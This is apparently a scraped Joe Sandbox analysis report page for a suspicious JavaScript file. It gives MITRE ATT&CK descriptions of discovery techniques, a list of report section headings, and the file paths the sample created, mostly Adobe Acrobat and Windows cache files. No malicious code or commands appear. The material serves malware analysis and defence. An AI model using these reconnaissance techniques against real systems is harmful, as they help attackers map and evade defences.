Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18971281001132729595.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c51db0d1-7f56-47b3-b4f5-889705747ead.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5200

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
18971281001132729595.js